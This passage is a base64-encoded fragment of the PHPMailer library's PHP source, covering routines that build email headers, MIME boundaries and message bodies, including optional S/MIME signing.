0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICRtYXhMZW5ndGggPSAoJGVuY29kZWRDaGFyUG9zID09IDApID8gJG1heExlbmd0aCA6CiAgICAgICAgICAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKCRkZWMgPj0gMTkyKSB7IC8vIEZpcnN0IGJ5dGUgb2YgYSBtdWx0aSBieXRlIGNoYXJhY3RlcgogICAgICAgICAgLy8gUmVkdWNlIG1heExlbmd0aCB0byBzcGxpdCBhdCBzdGFydCBvZiBjaGFyYWN0ZXIKICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsgLy8gTWlkZGxlIGJ5dGUgb2YgYSBtdWx0aSBieXRlIGNoYXJhY3RlciwgbG9vayBmdXJ0aGVyIGJhY2sKICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgIH0KICAgICAgfSBlbHNlIHsKICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiAkbWF4TGVuZ3RoOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNldFdvcmRXcmFwKCkgewogICAgaWYoJHRoaXMtPldvcmRXcmFwIDwgMSkgewogICAgICByZXR1cm47CiAgICB9CgogICAgc3dpdGNoKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgY2FzZSAnYWx0JzoKICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+V3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgYnJlYWs7CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgJHRoaXMtPkJvZHkgPSAkdGhpcy0+V3JhcFRleHQoJHRoaXMtPkJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgYnJlYWs7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ3JlYXRlSGVhZGVyKCkgewogICAgJHJlc3VsdCA9ICcnOwoKICAgICR1bmlxX2lkID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgICR0aGlzLT5ib3VuZGFyeVsxXSA9ICdiMV8nIC4gJHVuaXFfaWQ7CiAgICAkdGhpcy0+Ym91bmRhcnlbMl0gPSAnYjJfJyAuICR1bmlxX2lkOwogICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdW5pcV9pZDsKCiAgICBpZiAoJHRoaXMtPk1lc3NhZ2VEYXRlID09ICcnKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0RhdGUnLCBzZWxmOjpSRkNEYXRlKCkpOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnRGF0ZScsICR0aGlzLT5NZXNzYWdlRGF0ZSk7CiAgICB9CgogICAgaWYgKCR0aGlzLT5SZXR1cm5QYXRoKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1JldHVybi1QYXRoJywgJzwnLnRyaW0oJHRoaXMtPlJldHVyblBhdGgpLic+Jyk7CiAgICB9IGVsc2VpZiAoJHRoaXMtPlNlbmRlciA9PSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdSZXR1cm4tUGF0aCcsICc8Jy50cmltKCR0aGlzLT5Gcm9tKS4nPicpOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnUmV0dXJuLVBhdGgnLCAnPCcudHJpbSgkdGhpcy0+U2VuZGVyKS4nPicpOwogICAgfQoKICAgIGlmKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gPT09IHRydWUpIHsKICAgICAgICBmb3JlYWNoKCR0aGlzLT50byBhcyAkdCkgewogICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5BZGRyRm9ybWF0KCR0KTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgaWYoY291bnQoJHRoaXMtPnRvKSA+IDApIHsKICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICB9IGVsc2VpZiAoY291bnQoJHRoaXMtPmNjKSA9PSAwKSB7CiAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdUbycsICd1bmRpc2Nsb3NlZC1yZWNpcGllbnRzOjsnKTsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAkZnJvbSA9IGFycmF5KCk7CiAgICAkZnJvbVswXVswXSA9IHRyaW0oJHRoaXMtPkZyb20pOwogICAgJGZyb21bMF1bMV0gPSAkdGhpcy0+RnJvbU5hbWU7CiAgICAkcmVzdWx0IC49ICR0aGlzLT5BZGRyQXBwZW5kKCdGcm9tJywgJGZyb20pOwoKICAgIGlmKGNvdW50KCR0aGlzLT5jYykgPiAwKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkFkZHJBcHBlbmQoJ0NjJywgJHRoaXMtPmNjKTsKICAgIH0KCiAgICBpZigoKCR0aGlzLT5NYWlsZXIgPT0gJ3NlbmRtYWlsJykgfHwgKCR0aGlzLT5NYWlsZXIgPT0gJ21haWwnKSkgJiYgKGNvdW50KCR0aGlzLT5iY2MpID4gMCkpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+QWRkckFwcGVuZCgnQmNjJywgJHRoaXMtPmJjYyk7CiAgICB9CgogICAgaWYoY291bnQoJHRoaXMtPlJlcGx5VG8pID4gMCkgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5BZGRyQXBwZW5kKCdSZXBseS1UbycsICR0aGlzLT5SZXBseVRvKTsKICAgIH0KCiAgICAvLyBtYWlsKCkgc2V0cyB0aGUgc3ViamVjdCBpdHNlbGYKICAgIGlmKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICB9CgogICAgaWYoJHRoaXMtPk1lc3NhZ2VJRCAhPSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdNZXNzYWdlLUlEJywgJHRoaXMtPk1lc3NhZ2VJRCk7CiAgICB9IGVsc2UgewogICAgICAkcmVzdWx0IC49IHNwcmludGYoIk1lc3NhZ2UtSUQ6IDwlc0Alcz4lcyIsICR1bmlxX2lkLCAkdGhpcy0+U2VydmVySG9zdG5hbWUoKSwgJHRoaXMtPkxFKTsKICAgIH0KICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1gtUHJpb3JpdHknLCAkdGhpcy0+UHJpb3JpdHkpOwogICAgaWYgKCR0aGlzLT5YTWFpbGVyID09ICcnKSB7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnWC1NYWlsZXInLCAnUEhQTWFpbGVyICcuJHRoaXMtPlZlcnNpb24uJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvKScpOwogICAgfSBlbHNlIHsKICAgICAgJG15WG1haWxlciA9IHRyaW0oJHRoaXMtPlhNYWlsZXIpOwogICAgICBpZiAoJG15WG1haWxlcikgewogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgIH0KICAgIH0KCiAgICBpZigkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiB0cmltKCR0aGlzLT5Db25maXJtUmVhZGluZ1RvKSAuICc+Jyk7CiAgICB9CgogICAgLy8gQWRkIGN1c3RvbSBoZWFkZXJzCiAgICBmb3IoJGluZGV4ID0gMDsgJGluZGV4IDwgY291bnQoJHRoaXMtPkN1c3RvbUhlYWRlcik7ICRpbmRleCsrKSB7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUodHJpbSgkdGhpcy0+Q3VzdG9tSGVhZGVyWyRpbmRleF1bMF0pLCAkdGhpcy0+RW5jb2RlSGVhZGVyKHRyaW0oJHRoaXMtPkN1c3RvbUhlYWRlclskaW5kZXhdWzFdKSkpOwogICAgfQogICAgaWYgKCEkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAkcmVzdWx0IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdNSU1FLVZlcnNpb24nLCAnMS4wJyk7CiAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkdldE1haWxNSU1FKCk7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gR2V0TWFpbE1JTUUoKSB7CiAgICAkcmVzdWx0ID0gJyc7CiAgICBzd2l0Y2goJHRoaXMtPm1lc3NhZ2VfdHlwZSkgewogICAgICBjYXNlICdpbmxpbmUnOgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9taXhlZDsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYWx0JzoKICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0uJyInKTsKICAgICAgICBicmVhazsKICAgICAgZGVmYXVsdDoKICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+VGV4dExpbmUoJ0NvbnRlbnQtVHlwZTogJy4kdGhpcy0+Q29udGVudFR5cGUuJzsgY2hhcnNldD0nLiR0aGlzLT5DaGFyU2V0KTsKICAgICAgICBicmVhazsKICAgIH0KICAgIC8vUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgaWYgKCR0aGlzLT5FbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsICR0aGlzLT5FbmNvZGluZyk7CiAgICB9CgogICAgaWYoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICB9CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gR2V0U2VudE1JTUVNZXNzYWdlKCkgewogICAgcmV0dXJuICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIgLiBzZWxmOjpDUkxGIC4gJHRoaXMtPk1JTUVCb2R5OwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENyZWF0ZUJvZHkoKSB7CiAgICAkYm9keSA9ICcnOwoKICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAkYm9keSAuPSAkdGhpcy0+R2V0TWFpbE1JTUUoKS4kdGhpcy0+TEU7CiAgICB9CgogICAgJHRoaXMtPlNldFdvcmRXcmFwKCk7CgogICAgc3dpdGNoKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgJycsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgJycsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0uJyInKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJycsICcnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdhbHQnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2h0bWwnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgIGlmKCFlbXB0eSgkdGhpcy0+SWNhbCkpIHsKICAgICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9jYWxlbmRhcjsgbWV0aG9kPVJFUVVFU1QnLCAnJyk7CiAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFLiR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXS4nIicpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAnJywgJ3RleHQvaHRtbCcsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+VGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdLiciJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJycsICd0ZXh0L2h0bWwnLCAnJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUuJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5FbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+QXR0YWNoQWxsKCdhdHRhY2htZW50JywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICRib2R5IC49ICR0aGlzLT5UZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+SGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9hbHRlcm5hdGl2ZTsnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+VGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdLiciJyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5HZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICcnLCAndGV4dC9wbGFpbicsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICRib2R5IC49ICR0aGlzLT5IZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPlRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVszXS4nIicpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+R2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzNdLCAnJywgJ3RleHQvaHRtbCcsICcnKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+RW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICRib2R5IC49ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzNdKTsKICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICRib2R5IC49ICR0aGlzLT5BdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgIGJyZWFrOwogICAgICBkZWZhdWx0OgogICAgICAgIC8vIGNhdGNoIGNhc2UgJ3BsYWluJyBhbmQgY2FzZSAnJwogICAgICAgICRib2R5IC49ICR0aGlzLT5FbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgYnJlYWs7CiAgICB9CgogICAgaWYgKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgJGJvZHkgPSAnJzsKICAgIH0gZWxzZWlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICB0cnkgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3NpZ25pbmcnKS4nIE9wZW5TU0wgZXh0ZW5zaW9uIG1pc3NpbmcuJyk7CiAgICAgICAgfQogICAgICAgICRmaWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdtYWlsJyk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KTsgLy9UT0RPIGNoZWNrIHRoaXMgd29ya2VkCiAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgaWYgKEBvcGVuc3NsX3BrY3M3X3NpZ24oJGZpbGUsICRzaWduZWQsICdmaWxlOi8vJy5yZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLCBhcnJheSgnZmlsZTovLycucmVhbHBhdGgoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpLCAkdGhpcy0+c2lnbl9rZXlfcGFzcyksIG51bGwpKSB7CiAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICBAdW5saW5rKCRzaWduZWQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICAgIEB1bmxpbmsoJHNpZ25lZCk7CiAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdzaWduaW5nJykub3BlbnNzbF9lcnJvcl9zdHJpbmcoKSk7CiAgICAgICAgfQogICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgICAkYm9keSA9ICcnOwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgdGhyb3cgJGU7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICByZXR1cm4gJGJvZHk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gR2V0Qm91bmRhcnkoJGJvdW5kYXJ5LCAkY2hhclNldCwgJGNvbnRlbnRUeXBlLCAkZW5jb2RpbmcpIHsKICAgICRyZXN1bHQgPSAnJzsKICAgIGlmKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICB9CiAgICBpZigkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgfQogICAgaWYoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgIH0KICAgICRyZXN1bHQgLj0gJHRoaXMtPlRleHRMaW5lKCctLScgLiAkYm91bmRhcnkpOwogICAgJHJlc3VsdCAuPSBzcHJpbnRmKCJDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzIiwgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKICAgICRyZXN1bHQgLj0gJHRoaXMtPkhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CgogICAgcmV0dXJuICRyZXN1bHQ7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gRW5kQm91bmRhcnkoJGJvdW5kYXJ5KSB7CiAgICByZXR1cm4gJHRoaXMtPkxFIC4gJy0tJyAuICRib3VuZGFyeSAuICctLScgLiAkdGhpcy0